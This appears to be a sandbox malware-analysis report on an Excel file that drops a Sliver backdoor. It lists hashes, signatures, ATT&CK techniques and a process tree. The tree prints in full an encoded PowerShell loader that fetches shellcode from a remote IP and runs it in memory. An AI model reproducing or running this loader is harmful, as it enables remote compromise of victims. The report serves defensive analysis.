sliver | dd7bfe767125a34afa55304846fefefaa8f0ea0af79aba9675f5883f8e145ef3

General

Target

dd7bfe767125a34afa55304846fefefaa8f0ea0af79aba9675f5883f8e145ef3.xls
Size

46KB
MD5

e97afc97d2da6d145efc00d210d60e4c
SHA1

59475d809d54df8e563c497fdf3906ad6e59a1bb
SHA256

dd7bfe767125a34afa55304846fefefaa8f0ea0af79aba9675f5883f8e145ef3
SHA512

cf560e0642b4b2b57ec20a0015d7efbb2e0d4246e542150ad46f6947996a5e3d2488e2dac99fce428a84cd18270a4e8d2ee12c7848813745a47f4a0591375584
SSDEEP

768:H4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:YSFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score

10^/10

sliver backdoor execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2972	4716	powershell.exe	82

Sliver RAT v2 6 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2972-72-0x00000263DC1E0000-0x00000263DCC5E000-memory.dmp	SliverRAT_v2
behavioral2/memory/2972-73-0x00000263DD6E0000-0x00000263DE1C6000-memory.dmp	SliverRAT_v2
behavioral2/memory/2972-75-0x00000263DD6E0000-0x00000263DE1C6000-memory.dmp	SliverRAT_v2
behavioral2/memory/2972-74-0x00000263DD6E0000-0x00000263DE1C6000-memory.dmp	SliverRAT_v2
behavioral2/memory/2972-76-0x00000263DD6E0000-0x00000263DE1C6000-memory.dmp	SliverRAT_v2
behavioral2/memory/2972-81-0x00000263DD6E0000-0x00000263DE1C6000-memory.dmp	SliverRAT_v2

Sliver family
sliver
SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
trojan backdoor sliver

Blocklisted process makes network request 26 IoCs

Processes:

powershell.exe

flow	pid	Process
23	2972	powershell.exe
24	2972	powershell.exe
32	2972	powershell.exe
34	2972	powershell.exe
35	2972	powershell.exe
38	2972	powershell.exe
42	2972	powershell.exe
43	2972	powershell.exe
44	2972	powershell.exe
45	2972	powershell.exe
46	2972	powershell.exe
47	2972	powershell.exe
53	2972	powershell.exe
61	2972	powershell.exe
62	2972	powershell.exe
63	2972	powershell.exe
64	2972	powershell.exe
65	2972	powershell.exe
66	2972	powershell.exe
67	2972	powershell.exe
68	2972	powershell.exe
69	2972	powershell.exe
70	2972	powershell.exe
71	2972	powershell.exe
72	2972	powershell.exe
73	2972	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2972	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
4716	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
2972	powershell.exe
2972	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2972	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	Process
4716	EXCEL.EXE
4716	EXCEL.EXE
4716	EXCEL.EXE
4716	EXCEL.EXE
4716	EXCEL.EXE
4716	EXCEL.EXE
4716	EXCEL.EXE
4716	EXCEL.EXE
4716	EXCEL.EXE
4716	EXCEL.EXE
4716	EXCEL.EXE
4716	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEpowershell.execsc.exe

description	pid	Process	procid_target
PID 4716 wrote to memory of 2972	4716	EXCEL.EXE	86
PID 4716 wrote to memory of 2972	4716	EXCEL.EXE	86
PID 2972 wrote to memory of 2436	2972	powershell.exe	90
PID 2972 wrote to memory of 2436	2972	powershell.exe	90
PID 2436 wrote to memory of 644	2436	csc.exe	91
PID 2436 wrote to memory of 644	2436	csc.exe	91

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\dd7bfe767125a34afa55304846fefefaa8f0ea0af79aba9675f5883f8e145ef3.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m54vc4k4\m54vc4k4.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7DBB.tmp" "c:\Users\Admin\AppData\Local\Temp\m54vc4k4\CSCDF90BF6DFFA94704A53AADA44C79BA5D.TMP"
      4⤵
      PID:644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES7DBB.tmp

Filesize
1KB

MD5
7cff88844fc187ef4a6118ab23b4feef

SHA1
50206f53d9b04f2574c7542e015d93a1c18b5d84

SHA256
72b154376746cab3cd42b9a16110d022dcd24dda7a824b2ade127816cee7885e

SHA512
6bf7a48140ee20460109cfe0d1222c9ea2337f8c9dcaaf409f6375cb5b6a9225dda31e2782ae1e6bab69ee72f50c0edb8696f78d4ac553ffe46a796cda0b15fc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rm5qjlla.uc5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\m54vc4k4\m54vc4k4.dll

Filesize
3KB

MD5
4dab5058d2e2abcaac37d8eb40e8f014

SHA1
0d18adcf718206e64ad8d104c2ef8d91dd90f450

SHA256
a3ddfe647d269664c78705cc411e0e62fdc201be9b19acce6480867936518997

SHA512
45925ecd0652bbb3afb904659cc3a02bea60f85822fc31866eb450444e4dbec07ac86961e316245836b0b7a0d66249a7f2a0932188d7051a169319fd544adc43

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
3176cc279e7468a2b8d58b1349e322d4

SHA1
85128b996341f4ea4a7117812e12d8ba5abdf475

SHA256
cd30b18f73d5bae81eff6fe402273554b5b193747572adffd73167e9ab6125e4

SHA512
6ace3a1a9c594204d28280cab027ff1e49519f36e3bc3301818dea1c6746f14c4939bf80c342d65e52ee1704187e425ab9a08a98b5bd539438447a23a22bdb2a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\m54vc4k4\CSCDF90BF6DFFA94704A53AADA44C79BA5D.TMP

Filesize
652B

MD5
99da4d57417369891c977059c9c9a35d

SHA1
558b672cad326006ca5c9d644605682045c05996

SHA256
c8af18e23cbbd67eab7ac46aa3af7bfb9c19f07353113b935d8fd8a61f59b934

SHA512
084d0bc82f66ec542e4aa4d74852715c89a88356f7ca040a2862980194287773dbd2b7ae0e130b1480f3dc3acb1537ef1eb5843e85f022c2c89e152c40717b8c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\m54vc4k4\m54vc4k4.0.cs

Filesize
631B

MD5
f4dd5c682eb7b3b679f084261bfc7c4c

SHA1
70f75d7a4e42c185eb09139ed3c6f7338a2219c2

SHA256
2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

SHA512
8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\m54vc4k4\m54vc4k4.cmdline

Filesize
369B

MD5
f7f0fa71c49878b90afd13fbe338d524

SHA1
4e54ace7507188c8a1afbb110003af7d6e4de47d

SHA256
136b4c2f0f5daa066f48019019871880848ce7aea20e9f9039d88e20554e8bda

SHA512
351f92704eea2c75bbed28f4b75aacb1e9edfb36ac414a0a196b69ae63c524ea41cd10c1493a8b6ede3906d862033db995f645e79a91c60206ba07bdf4c3052f

Download Submit
memory/2972-75-0x00000263DD6E0000-0x00000263DE1C6000-memory.dmp

Filesize
10.9MB

Download
memory/2972-73-0x00000263DD6E0000-0x00000263DE1C6000-memory.dmp

Filesize
10.9MB

Download
memory/2972-72-0x00000263DC1E0000-0x00000263DCC5E000-memory.dmp

Filesize
10.5MB

Download
memory/2972-74-0x00000263DD6E0000-0x00000263DE1C6000-memory.dmp

Filesize
10.9MB

Download
memory/2972-57-0x00000263C3220000-0x00000263C3228000-memory.dmp

Filesize
32KB

Download
memory/2972-76-0x00000263DD6E0000-0x00000263DE1C6000-memory.dmp

Filesize
10.9MB

Download
memory/2972-77-0x00000263DE1D0000-0x00000263DE1F7000-memory.dmp

Filesize
156KB

Download
memory/2972-81-0x00000263DD6E0000-0x00000263DE1C6000-memory.dmp

Filesize
10.9MB

Download
memory/2972-41-0x00000263C35F0000-0x00000263C3612000-memory.dmp

Filesize
136KB

Download
memory/4716-9-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-1-0x00007FFBA05ED000-0x00007FFBA05EE000-memory.dmp

Filesize
4KB

Download
memory/4716-27-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-26-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-17-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-16-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-14-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-13-0x00007FFB5DC70000-0x00007FFB5DC80000-memory.dmp

Filesize
64KB

Download
memory/4716-12-0x00007FFB5DC70000-0x00007FFB5DC80000-memory.dmp

Filesize
64KB

Download
memory/4716-10-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-11-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-15-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-61-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-62-0x00007FFBA05ED000-0x00007FFBA05EE000-memory.dmp

Filesize
4KB

Download
memory/4716-8-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-68-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-5-0x00007FFB605D0000-0x00007FFB605E0000-memory.dmp

Filesize
64KB

Download
memory/4716-4-0x00007FFB605D0000-0x00007FFB605E0000-memory.dmp

Filesize
64KB

Download
memory/4716-7-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-6-0x00007FFBA0550000-0x00007FFBA0745000-memory.dmp

Filesize
2.0MB

Download
memory/4716-3-0x00007FFB605D0000-0x00007FFB605E0000-memory.dmp

Filesize
64KB

Download
memory/4716-0-0x00007FFB605D0000-0x00007FFB605E0000-memory.dmp

Filesize
64KB

Download
memory/4716-2-0x00007FFB605D0000-0x00007FFB605E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads